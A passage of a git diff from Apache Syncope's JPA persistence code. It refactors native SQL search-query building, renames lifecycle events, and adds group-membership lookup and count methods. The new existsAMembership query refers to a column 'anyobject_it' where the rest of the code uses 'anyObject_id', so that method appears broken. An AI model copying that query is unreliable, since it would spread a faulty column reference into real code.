filter.getLeft(), parameters, svs); - return query.toString(); + // 4. populate the search query with parameter values + Query countQuery = entityManager().createNativeQuery(queryString); + fillWithParameters(countQuery, parameters); + + // 5. execute the query and return the result + return ((Number) countQuery.getSingleResult()).intValue(); } - protected String getQuery( - final MemberCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + protected void parseOrderByForPlainSchema( + final SearchSupport svs, + final OrderBySupport obs, + final OrderBySupport.Item item, + final OrderByClause clause, + final PlainSchema schema, + final String fieldName) { - String memberKey = check(cond); + // keep track of involvement of non-mandatory schemas in the order by clauses + obs.nonMandatorySchemas = !"true".equals(schema.getMandatoryCondition()); - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE "); + if (schema.isUniqueConstraint()) { + obs.views.add(svs.asSearchViewSupport().uniqueAttr()); - if (not) { - query.append("any_id NOT IN ("); + item.select = new StringBuilder(). + append("( SELECT usa").append('.').append(key(schema.getType())). + append(" FROM "). + append(svs.asSearchViewSupport().uniqueAttr().name). + append(" usa WHERE usa.any_id = "). + append(svs.asSearchViewSupport().uniqueAttr().alias). + append(".any_id"). + append(" AND usa.schema_id ='").append(fieldName).append("'"). + append(isOracle() ? " FETCH FIRST 1 ROWS ONLY " : " LIMIT 1"). + append(") AS ").append(fieldName).toString(); + item.where = new StringBuilder(). + append(svs.asSearchViewSupport().uniqueAttr().alias). + append(".schema_id='").append(fieldName).append("'").toString(); + item.orderBy = fieldName + ' ' + clause.getDirection().name(); } else { - query.append("any_id IN ("); + obs.views.add(svs.asSearchViewSupport().attr()); + + item.select = new StringBuilder(). + append("( SELECT usa").append('.').append(key(schema.getType())). + append(" FROM "). + append(svs.asSearchViewSupport().attr().name). + append(" usa WHERE usa.any_id = "). + append(svs.asSearchViewSupport().attr().alias). + append(".any_id"). + append(" AND usa.schema_id ='").append(fieldName).append("'"). + append(isOracle() ? " FETCH FIRST 1 ROWS ONLY " : " LIMIT 1"). + append(") AS ").append(fieldName).toString(); + item.where = new StringBuilder(). + append(svs.asSearchViewSupport().attr().alias). + append(".schema_id='").append(fieldName).append("'").toString(); + item.orderBy = fieldName + ' ' + clause.getDirection().name(); } + } - query.append("SELECT DISTINCT group_id AS any_id FROM "). - append(new SearchSupport(AnyTypeKind.USER).membership().name).append(" WHERE ("). - append("any_id=?").append(setParameter(parameters, memberKey)). - append(") "); + protected void parseOrderByForField( + final SearchSupport svs, + final OrderBySupport.Item item, + final String fieldName, + final OrderByClause clause) { - if (not) { - query.append("AND any_id NOT IN ("); - } else { - query.append("OR any_id IN ("); - } + item.select = defaultSV(svs).alias + '.' + fieldName; + item.where = StringUtils.EMPTY; + item.orderBy = defaultSV(svs).alias + '.' + fieldName + ' ' + clause.getDirection().name(); + } - query.append("SELECT DISTINCT group_id AS any_id FROM "). - append(new SearchSupport(AnyTypeKind.ANY_OBJECT).membership().name).append(" WHERE "). - append("any_id=?").append(setParameter(parameters, memberKey)). - append("))"); + protected void parseOrderByForCustom( + final SearchSupport svs, + final OrderByClause clause, + final OrderBySupport.Item item, + final OrderBySupport obs) { - return query.toString(); + // do nothing by default, meant for subclasses } - protected void fillAttrQuery( - final StringBuilder query, - final PlainAttrValue attrValue, - final PlainSchema schema, - final AttrCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + protected OrderBySupport parseOrderBy( + final SearchSupport svs, + final List orderBy) { - // This first branch is required for handling with not conditions given on multivalue fields (SYNCOPE-1419) - if (not && schema.isMultivalue() - && !(cond instanceof AnyCond) - && cond.getType() != AttrCond.Type.ISNULL && cond.getType() != AttrCond.Type.ISNOTNULL) { + AnyUtils anyUtils = anyUtilsFactory.getInstance(svs.anyTypeKind); - query.append("any_id NOT IN (SELECT DISTINCT any_id FROM "); - if (schema.isUniqueConstraint()) { - query.append(svs.asSearchViewSupport().uniqueAttr().name); - } else { - query.append(svs.asSearchViewSupport().attr().name); - } - query.append(" WHERE schema_id='").append(schema.getKey()); - fillAttrQuery(query, attrValue, schema, cond, false, parameters, svs); - query.append(')'); - } else { - // activate ignoreCase only for EQ and LIKE operators - boolean ignoreCase = AttrCond.Type.ILIKE == cond.getType() || AttrCond.Type.IEQ == cond.getType(); + OrderBySupport obs = new OrderBySupport(); - String column = (cond instanceof AnyCond) ? cond.getSchema() : key(schema.getType()); - if ((schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) && ignoreCase) { - column = "LOWER (" + column + ')'; - } - if (!(cond instanceof AnyCond)) { - column = "' AND " + column; - } + Set orderByUniquePlainSchemas = new HashSet<>(); + Set orderByNonUniquePlainSchemas = new HashSet<>(); + orderBy.forEach(clause -> { + OrderBySupport.Item item = new OrderBySupport.Item(); - switch (cond.getType()) { - - case ISNULL: - query.append(column).append(not - ? " IS NOT NULL" - : " IS NULL"); - break; - - case ISNOTNULL: - query.append(column).append(not - ? " IS NULL" - : " IS NOT NULL"); - break; - - case ILIKE: - case LIKE: - if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { - query.append(column); - if (not) { - query.append(" NOT "); - } - query.append(" LIKE "); - if (ignoreCase) { - query.append("LOWER(?").append(setParameter(parameters, cond.getExpression())).append(')'); + parseOrderByForCustom(svs, clause, item, obs); + + if (item.isEmpty()) { + if (anyUtils.getField(clause.getField()) == null) { + PlainSchema schema = plainSchemaDAO.find(clause.getField()); + if (schema != null) { + if (schema.isUniqueConstraint()) { + orderByUniquePlainSchemas.add(schema.getKey()); } else { - query.append('?').append(setParameter(parameters, cond.getExpression())); + orderByNonUniquePlainSchemas.add(schema.getKey()); } - } else { - if (!(cond instanceof AnyCond)) { - query.append("' AND"); + if (orderByUniquePlainSchemas.size() > 1 || orderByNonUniquePlainSchemas.size() > 1) { + throw syncopeClientException("Order by more than one attribute is not allowed; " + + "remove one from " + (orderByUniquePlainSchemas.size() > 1 + ? orderByUniquePlainSchemas : orderByNonUniquePlainSchemas)).get(); } - query.append(" 1=2"); - LOG.error("LIKE is only compatible with string or enum schemas"); - } - break; - - case IEQ: - case EQ: - query.append(column); - if (not) { - query.append("<>"); - } else { - query.append('='); - } - if ((schema.getType() == AttrSchemaType.String - || schema.getType() == AttrSchemaType.Enum) && ignoreCase) { - query.append("LOWER(?").append(setParameter(parameters, attrValue.getValue())).append(')'); - } else { - query.append('?').append(setParameter(parameters, attrValue.getValue())); - } - break; - - case GE: - query.append(column); - if (not) { - query.append('<'); - } else { - query.append(">="); + parseOrderByForPlainSchema(svs, obs, item, clause, schema, clause.getField()); } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; + } else { + // Manage difference among external key attribute and internal JPA @Id + String fieldName = "key".equals(clause.getField()) ? "id" : clause.getField(); - case GT: - query.append(column); - if (not) { - query.append("<="); - } else { - query.append('>'); + // Adjust field name to column name + if (ArrayUtils.contains(RELATIONSHIP_FIELDS, fieldName)) { + fieldName += "_id"; } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; - case LE: - query.append(column); - if (not) { - query.append('>'); - } else { - query.append("<="); - } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; + obs.views.add(defaultSV(svs)); - case LT: - query.append(column); - if (not) { - query.append(">="); - } else { - query.append('<'); - } - query.append('?').append(setParameter(parameters, attrValue.getValue())); - break; + parseOrderByForField(svs, item, fieldName, clause); + } + } - default: + if (item.isEmpty()) { + LOG.warn("Cannot build any valid clause from {}", clause); + } else { + obs.items.add(item); } - } + }); + + return obs; } - protected String getQuery( - final AttrCond cond, - final boolean not, + protected String buildSearchQuery( + final Pair> queryInfo, + final AnySearchNode.Leaf filterNode, final List parameters, - final SearchSupport svs) { + final SearchSupport svs, + final List orderBy) { + + AnySearchNode root; + if (queryInfo.getLeft().getType() == AnySearchNode.Type.AND) { + root = queryInfo.getLeft(); + } else { + root = new AnySearchNode(AnySearchNode.Type.AND); + root.add(queryInfo.getLeft()); + } + root.add(filterNode); - Pair checked = check(cond, svs.anyTypeKind); + Set from = new HashSet<>(); + List where = new ArrayList<>(); + Map counters = new HashMap<>(); + visitNode(root, counters, from, where, svs); - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "); - switch (cond.getType()) { - case ISNOTNULL: - query.append(checked.getLeft().isUniqueConstraint() - ? svs.asSearchViewSupport().uniqueAttr().name - : svs.asSearchViewSupport().attr().name). - append(" WHERE schema_id=").append("'").append(checked.getLeft().getKey()).append("'"); - break; + // 3. take ordering into account + OrderBySupport obs = parseOrderBy(svs, orderBy); - case ISNULL: - query.append(svs.field().name). - append(" WHERE any_id NOT IN "). - append('('). - append("SELECT DISTINCT any_id FROM "). - append(checked.getLeft().isUniqueConstraint() - ? svs.asSearchViewSupport().uniqueAttr().name - : svs.asSearchViewSupport().attr().name). - append(" WHERE schema_id=").append("'").append(checked.getLeft().getKey()).append("'"). - append(')'); - break; + // 4. generate the query string + StringBuilder queryString = new StringBuilder("SELECT DISTINCT ").append(anyId(svs)); + obs.items.forEach(item -> queryString.append(',').append(item.select)); - default: - if (not && !(cond instanceof AnyCond) && checked.getLeft().isMultivalue()) { - query.append(svs.field().name).append(" WHERE "); - } else { - if (checked.getLeft().isUniqueConstraint()) { - query.append(svs.asSearchViewSupport().uniqueAttr().name); - } else { - query.append(svs.asSearchViewSupport().attr().name); - } - query.append(" WHERE schema_id='").append(checked.getLeft().getKey()); - } - fillAttrQuery(query, checked.getRight(), checked.getLeft(), cond, not, parameters, svs); + from.addAll(obs.views); + queryString.append(" FROM ").append(buildFrom(from, queryInfo.getRight(), obs)); + + queryString.append(" WHERE ").append(buildWhere(where, root)); + + if (!obs.items.isEmpty()) { + queryString.append(" ORDER BY "). + append(obs.items.stream().map(item -> item.orderBy).collect(Collectors.joining(","))); } - return query.toString(); + LOG.debug("Query: {}, parameters: {}", queryString, parameters); + + return queryString.toString(); } - protected String getQuery( - final AnyCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + @Override + @SuppressWarnings("unchecked") + protected > List doSearch( + final Realm base, + final boolean recursive, + final Set adminRealms, + final SearchCond cond, + final int page, + final int itemsPerPage, + final List orderBy, + final AnyTypeKind kind) { - if (JAXRSService.PARAM_REALM.equals(cond.getSchema()) - && !SyncopeConstants.UUID_PATTERN.matcher(cond.getExpression()).matches()) { + List parameters = new ArrayList<>(); - Realm realm = realmDAO.findByFullPath(cond.getExpression()); - if (realm == null) { - throw new IllegalArgumentException("Invalid Realm full path: " + cond.getExpression()); - } - cond.setExpression(realm.getKey()); + SearchSupport svs = new SearchViewSupport(kind); + + // 1. get admin realms filter + Triple, Set> filter = + getAdminRealmsFilter(base, recursive, adminRealms, parameters, svs); + + // 2. transform search condition + Optional>> optionalQueryInfo = getQuery( + buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind), parameters, svs); + if (optionalQueryInfo.isEmpty()) { + LOG.error("Invalid search condition: {}", cond); + return List.of(); } + Pair> queryInfo = optionalQueryInfo.get(); - Triple checked = check(cond, svs.anyTypeKind); + // 3. generate the query string + String queryString = buildSearchQuery(queryInfo, filter.getLeft(), parameters, svs, orderBy); + + // 4. prepare the search query + Query query = entityManager().createNativeQuery(queryString); - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE "); + // page starts from 1, while setFirtResult() starts from 0 + query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); + + if (itemsPerPage >= 0) { + query.setMaxResults(itemsPerPage); + } - fillAttrQuery(query, checked.getMiddle(), checked.getLeft(), checked.getRight(), not, parameters, svs); + // 5. populate the search query with parameter values + fillWithParameters(query, parameters); - return query.toString(); + // 6. prepare the result (avoiding duplicates) + return buildResult(query.getResultList(), kind); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPADynRealmDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPADynRealmDAO.java index a575ba53589..55860cd5eb6 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPADynRealmDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPADynRealmDAO.java @@ -33,7 +33,7 @@ import org.apache.syncope.core.persistence.api.search.SearchCondConverter; import org.apache.syncope.core.persistence.api.search.SearchCondVisitor; import org.apache.syncope.core.persistence.jpa.entity.JPADynRealm; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.springframework.context.ApplicationEventPublisher; @@ -122,7 +122,7 @@ protected void notifyDynMembershipRemoval(final List anyKeys) { } if (any != null) { publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, any, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, any, AuthContextUtils.getDomain())); } }); } @@ -144,7 +144,7 @@ public DynRealm saveAndRefreshDynMemberships(final DynRealm dynRealm) { insert.executeUpdate(); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, any, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, any, AuthContextUtils.getDomain())); cleared.remove(any.getKey()); })); @@ -172,10 +172,11 @@ public void refreshDynMemberships(final Any any) { boolean matches = anyMatchDAO.matches( any, SearchCondConverter.convert(searchCondVisitor, memb.getFIQLCond())); - Query find = entityManager().createNativeQuery( - "SELECT dynRealm_id FROM " + DYNMEMB_TABLE + " WHERE any_id=?"); - find.setParameter(1, any.getKey()); - boolean existing = !find.getResultList().isEmpty(); + Query query = entityManager().createNativeQuery( + "SELECT COUNT(dynRealm_id) FROM " + DYNMEMB_TABLE + " WHERE any_id=? AND dynRealm_id=?"); + query.setParameter(1, any.getKey()); + query.setParameter(2, dynRealm.getKey()); + boolean existing = ((Number) query.getSingleResult()).longValue() > 0; if (matches && !existing) { Query insert = entityManager(). diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAExternalResourceDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAExternalResourceDAO.java index 8b3e955fc7a..ff8dc413ffe 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAExternalResourceDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAExternalResourceDAO.java @@ -92,6 +92,7 @@ public int count() { return ((Number) query.getSingleResult()).intValue(); } + @Transactional(readOnly = true) @Override public ExternalResource find(final String name) { return entityManager().find(JPAExternalResource.class, name); @@ -135,6 +136,17 @@ public boolean anyItemHaving(final Implementation transformer) { count() > 0; } + @Transactional(readOnly = true) + @Override + public List findByConnInstance(final String connInstance) { + TypedQuery query = entityManager().createQuery( + "SELECT e FROM " + JPAExternalResource.class.getSimpleName() + " e " + + "WHERE e.connector.id=:connInstance", ExternalResource.class); + query.setParameter("connInstance", connInstance); + + return query.getResultList(); + } + @Override public List findByPropagationActions(final Implementation propagationActions) { TypedQuery query = entityManager().createQuery( diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAGroupDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAGroupDAO.java index ac5c3d15c57..ad13f361a17 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAGroupDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAGroupDAO.java @@ -30,6 +30,7 @@ import javax.persistence.Query; import javax.persistence.TypedQuery; import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.core.persistence.api.dao.AnyDAO; @@ -41,8 +42,8 @@ import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.core.persistence.api.entity.AnyType; import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; @@ -66,7 +67,7 @@ import org.apache.syncope.core.persistence.jpa.entity.group.JPATypeExtension; import org.apache.syncope.core.persistence.jpa.entity.user.JPAUDynGroupMembership; import org.apache.syncope.core.persistence.jpa.entity.user.JPAUMembership; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.provisioning.api.utils.RealmUtils; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.spring.security.DelegatedAdministrationException; @@ -82,6 +83,8 @@ public class JPAGroupDAO extends AbstractAnyDAO implements GroupDAO { protected final ApplicationEventPublisher publisher; + protected final RealmDAO realmDAO; + protected final AnyMatchDAO anyMatchDAO; protected final PlainAttrDAO plainAttrDAO; @@ -100,6 +103,7 @@ public JPAGroupDAO( final PlainSchemaDAO plainSchemaDAO, final DerSchemaDAO derSchemaDAO, final DynRealmDAO dynRealmDAO, + final RealmDAO realmDAO, final AnyMatchDAO anyMatchDAO, final PlainAttrDAO plainAttrDAO, final UserDAO userDAO, @@ -109,6 +113,7 @@ public JPAGroupDAO( super(anyUtilsFactory, plainSchemaDAO, derSchemaDAO, dynRealmDAO); this.publisher = publisher; + this.realmDAO = realmDAO; this.anyMatchDAO = anyMatchDAO; this.plainAttrDAO = plainAttrDAO; this.userDAO = userDAO; @@ -125,7 +130,18 @@ protected AnyUtils init() { @Transactional(readOnly = true) @Override public String findKey(final String name) { - return findKey(name, JPAGroup.TABLE); + Query query = entityManager().createNativeQuery("SELECT id FROM " + JPAGroup.TABLE + " WHERE name=?"); + query.setParameter(1, name); + + String key = null; + + for (Object resultKey : query.getResultList()) { + key = resultKey instanceof Object[] + ? (String) ((Object[]) resultKey)[0] + : ((String) resultKey); + } + + return key; } @Transactional(readOnly = true) @@ -137,14 +153,14 @@ public OffsetDateTime findLastChange(final String key) { @Override public int count() { Query query = entityManager().createQuery( - "SELECT COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e"); + "SELECT COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e"); return ((Number) query.getSingleResult()).intValue(); } @Override public Map countByRealm() { Query query = entityManager().createQuery( - "SELECT e.realm, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e GROUP BY e.realm"); + "SELECT e.realm, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e GROUP BY e.realm"); @SuppressWarnings("unchecked") List results = query.getResultList(); @@ -264,10 +280,23 @@ public List findUMemberships(final Group group) { return query.getResultList(); } + @Override + public List findUMemberships(final Group group, final int page, final int itemsPerPage) { + TypedQuery query = entityManager().createQuery( + "SELECT e FROM " + JPAUMembership.class.getSimpleName() + + " e WHERE e.rightEnd=:group ORDER BY e.leftEnd", + UMembership.class); + query.setParameter("group", group); + query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); + query.setMaxResults(itemsPerPage); + + return query.getResultList(); + } + @Override public List findAll(final int page, final int itemsPerPage) { TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e ORDER BY e.id", Group.class); + "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e ORDER BY e.id", Group.class); query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); query.setMaxResults(itemsPerPage); @@ -279,14 +308,8 @@ public List findAllKeys(final int page, final int itemsPerPage) { return findAllKeys(JPAGroup.TABLE, page, itemsPerPage); } - protected SearchCond buildDynMembershipCond(final String baseCondFIQL, final Realm groupRealm) { - AssignableCond cond = new AssignableCond(); - cond.setRealmFullPath(groupRealm.getFullPath()); - cond.setFromGroup(true); - - return SearchCond.getAnd( - SearchCond.getLeaf(cond), - SearchCondConverter.convert(searchCondVisitor, baseCondFIQL)); + protected SearchCond buildDynMembershipCond(final String baseCondFIQL) { + return SearchCondConverter.convert(searchCondVisitor, baseCondFIQL); } @Override @@ -296,14 +319,14 @@ public Group saveAndRefreshDynMemberships(final Group group) { // refresh dynamic memberships clearUDynMembers(merged); if (merged.getUDynMembership() != null) { - SearchCond cond = buildDynMembershipCond(merged.getUDynMembership().getFIQLCond(), merged.getRealm()); + SearchCond cond = buildDynMembershipCond(merged.getUDynMembership().getFIQLCond()); int count = anySearchDAO.count( - merged.getRealm(), true, Set.of(merged.getRealm().getFullPath()), cond, AnyTypeKind.USER); + realmDAO.getRoot(), true, Set.of(SyncopeConstants.ROOT_REALM), cond, AnyTypeKind.USER); for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { List matching = anySearchDAO.search( - merged.getRealm(), + realmDAO.getRoot(), true, - Set.of(merged.getRealm().getFullPath()), + Set.of(SyncopeConstants.ROOT_REALM), cond, page, AnyDAO.DEFAULT_PAGE_SIZE, @@ -311,26 +334,27 @@ public Group saveAndRefreshDynMemberships(final Group group) { AnyTypeKind.USER); matching.forEach(user -> { - Query insert = entityManager().createNativeQuery("INSERT INTO " + UDYNMEMB_TABLE + " VALUES(?, ?)"); + Query insert = entityManager().createNativeQuery( + "INSERT INTO " + UDYNMEMB_TABLE + " VALUES(?, ?)"); insert.setParameter(1, user.getKey()); insert.setParameter(2, merged.getKey()); insert.executeUpdate(); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); }); } } clearADynMembers(merged); merged.getADynMemberships().forEach(memb -> { - SearchCond cond = buildDynMembershipCond(memb.getFIQLCond(), merged.getRealm()); + SearchCond cond = buildDynMembershipCond(memb.getFIQLCond()); int count = anySearchDAO.count( - merged.getRealm(), true, Set.of(merged.getRealm().getFullPath()), cond, AnyTypeKind.ANY_OBJECT); + realmDAO.getRoot(), true, Set.of(SyncopeConstants.ROOT_REALM), cond, AnyTypeKind.ANY_OBJECT); for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { List matching = anySearchDAO.search( - merged.getRealm(), + realmDAO.getRoot(), true, - Set.of(merged.getRealm().getFullPath()), + Set.of(SyncopeConstants.ROOT_REALM), cond, page, AnyDAO.DEFAULT_PAGE_SIZE, @@ -346,7 +370,7 @@ public Group saveAndRefreshDynMemberships(final Group group) { insert.executeUpdate(); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, any, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, any, AuthContextUtils.getDomain())); }); } }); @@ -373,7 +397,7 @@ public void delete(final Group group) { anyObjectDAO.save(leftEnd); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, leftEnd, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, leftEnd, AuthContextUtils.getDomain())); }); findUMemberships(group).forEach(membership -> { @@ -390,7 +414,7 @@ public void delete(final Group group) { userDAO.save(leftEnd); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, leftEnd, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, leftEnd, AuthContextUtils.getDomain())); }); clearUDynMembers(group); @@ -409,6 +433,60 @@ public List findTypeExtensions(final AnyTypeClass anyTypeClass) { return query.getResultList(); } + @Transactional(readOnly = true) + @Override + public boolean existsAMembership(final String anyObjectKey, final String groupKey) { + Query query = entityManager().createNativeQuery( + "SELECT COUNT(*) FROM " + JPAAMembership.TABLE + " WHERE group_id=? AND anyobject_it=?"); + query.setParameter(1, groupKey); + query.setParameter(2, anyObjectKey); + + return ((Number) query.getSingleResult()).intValue() > 0; + } + + @Transactional(readOnly = true) + @Override + public boolean existsUMembership(final String userKey, final String groupKey) { + Query query = entityManager().createNativeQuery( + "SELECT COUNT(*) FROM " + JPAUMembership.TABLE + " WHERE group_id=? AND user_id=?"); + query.setParameter(1, groupKey); + query.setParameter(2, userKey); + + return ((Number) query.getSingleResult()).intValue() > 0; + } + + @Transactional(readOnly = true) + @Override + @SuppressWarnings("unchecked") + public List findAMembers(final String groupKey) { + Query query = entityManager().createNativeQuery( + "SELECT DISTINCT anyObject_id FROM " + JPAAMembership.TABLE + " WHERE group_id=?"); + query.setParameter(1, groupKey); + + List result = new ArrayList<>(); + query.getResultList().stream().map(key -> key instanceof Object[] + ? (String) ((Object[]) key)[0] + : ((String) key)). + forEach(item -> result.add((String) item)); + return result; + } + + @Transactional(readOnly = true) + @Override + @SuppressWarnings("unchecked") + public List findUMembers(final String groupKey) { + Query query = entityManager().createNativeQuery( + "SELECT DISTINCT user_id FROM " + JPAUMembership.TABLE + " WHERE group_id=?"); + query.setParameter(1, groupKey); + + List result = new ArrayList<>(); + query.getResultList().stream().map(key -> key instanceof Object[] + ? (String) ((Object[]) key)[0] + : ((String) key)). + forEach(item -> result.add((String) item)); + return result; + } + @Override @SuppressWarnings("unchecked") public List findADynMembers(final Group group) { @@ -416,7 +494,7 @@ public List findADynMembers(final Group group) { group.getADynMemberships().forEach(memb -> { Query query = entityManager().createNativeQuery( - "SELECT any_id FROM " + ADYNMEMB_TABLE + " WHERE group_id=? AND anyType_id=?"); + "SELECT DISTINCT any_id FROM " + ADYNMEMB_TABLE + " WHERE group_id=? AND anyType_id=?"); query.setParameter(1, group.getKey()); query.setParameter(2, memb.getAnyType().getKey()); @@ -431,19 +509,19 @@ public List findADynMembers(final Group group) { } @Override - public int countAMembers(final Group group) { + public int countAMembers(final String groupKey) { Query query = entityManager().createNativeQuery( - "SELECT COUNT(anyObject_id) FROM " + JPAAMembership.TABLE + " WHERE group_id=?"); - query.setParameter(1, group.getKey()); + "SELECT COUNT(DISTINCT anyObject_id) FROM " + JPAAMembership.TABLE + " WHERE group_id=?"); + query.setParameter(1, groupKey); return ((Number) query.getSingleResult()).intValue(); } @Override - public int countUMembers(final Group group) { + public int countUMembers(final String groupKey) { Query query = entityManager().createNativeQuery( - "SELECT COUNT(user_id) FROM " + JPAUMembership.TABLE + " WHERE group_id=?"); - query.setParameter(1, group.getKey()); + "SELECT COUNT(DISTINCT user_id) FROM " + JPAUMembership.TABLE + " WHERE group_id=?"); + query.setParameter(1, groupKey); return ((Number) query.getSingleResult()).intValue(); } @@ -451,7 +529,7 @@ public int countUMembers(final Group group) { @Override public int countADynMembers(final Group group) { Query query = entityManager().createNativeQuery( - "SELECT COUNT(any_id) FROM " + ADYNMEMB_TABLE + " WHERE group_id=?"); + "SELECT COUNT(DISTINCT any_id) FROM " + ADYNMEMB_TABLE + " WHERE group_id=?"); query.setParameter(1, group.getKey()); return ((Number) query.getSingleResult()).intValue(); @@ -464,7 +542,7 @@ public int countUDynMembers(final Group group) { } Query query = entityManager().createNativeQuery( - "SELECT COUNT(any_id) FROM " + UDYNMEMB_TABLE + " WHERE group_id=?"); + "SELECT COUNT(DISTINCT any_id) FROM " + UDYNMEMB_TABLE + " WHERE group_id=?"); query.setParameter(1, group.getKey()); return ((Number) query.getSingleResult()).intValue(); @@ -488,25 +566,19 @@ protected List findWithADynMemberships(final AnyType anyTyp @Transactional @Override public Pair, Set> refreshDynMemberships(final AnyObject anyObject) { - Query query = entityManager().createNativeQuery( - "SELECT group_id FROM " + JPAGroupDAO.ADYNMEMB_TABLE + " WHERE any_id=?"); - query.setParameter(1, anyObject.getKey()); - Set before = new HashSet<>(); Set after = new HashSet<>(); findWithADynMemberships(anyObject.getType()).forEach(memb -> { - boolean matches = anyMatchDAO.matches( - anyObject, - buildDynMembershipCond(memb.getFIQLCond(), memb.getGroup().getRealm())); + boolean matches = anyMatchDAO.matches(anyObject, buildDynMembershipCond(memb.getFIQLCond())); if (matches) { after.add(memb.getGroup().getKey()); } - Query find = entityManager().createNativeQuery( - "SELECT any_id FROM " + ADYNMEMB_TABLE + " WHERE group_id=? AND any_id=?"); - find.setParameter(1, memb.getGroup().getKey()); - find.setParameter(2, anyObject.getKey()); - boolean existing = !find.getResultList().isEmpty(); + Query query = entityManager().createNativeQuery( + "SELECT COUNT(group_id) FROM " + ADYNMEMB_TABLE + " WHERE group_id=? AND any_id=?"); + query.setParameter(1, memb.getGroup().getKey()); + query.setParameter(2, anyObject.getKey()); + boolean existing = ((Number) query.getSingleResult()).longValue() > 0; if (existing) { before.add(memb.getGroup().getKey()); } @@ -526,8 +598,8 @@ public Pair, Set> refreshDynMemberships(final AnyObject anyO delete.executeUpdate(); } - publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, memb.getGroup(), AuthContextUtils.getDomain())); + publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, memb.getGroup(), AuthContextUtils.getDomain())); }); return Pair.of(before, after); @@ -545,8 +617,8 @@ public Set removeDynMemberships(final AnyObject anyObject) { dynGroups.forEach(group -> { before.add(group.getKey()); - publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain())); + publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain())); }); return before; @@ 